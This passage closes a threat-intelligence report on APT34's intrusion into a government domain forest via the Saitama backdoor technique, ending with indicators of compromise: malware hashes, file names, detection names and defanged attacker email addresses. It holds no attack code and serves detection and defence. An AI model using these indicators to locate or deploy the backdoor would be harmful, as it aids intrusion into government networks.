domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain forest , which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest. Following the stages executed, APT34 s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware s technique will continue to work and initiate compromise. The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the 11/12 depth and breadth of this compromise. Indicators of Compromise (IOCs) SHA256 File name Detection 5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A 827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF Emails abused Jaqueline[.]Herrera@proton[.]me Ciara[.]Stoneburner@proton[.]me marsha[.]fischer556@gmail[.]com Kathryn[.]Firkins@proton[.]me Susan[.]potts454@proton[.]me Earl[.]butler945@gmail[.]com Additional insights provided by AbdelRahman Yasser. 12/12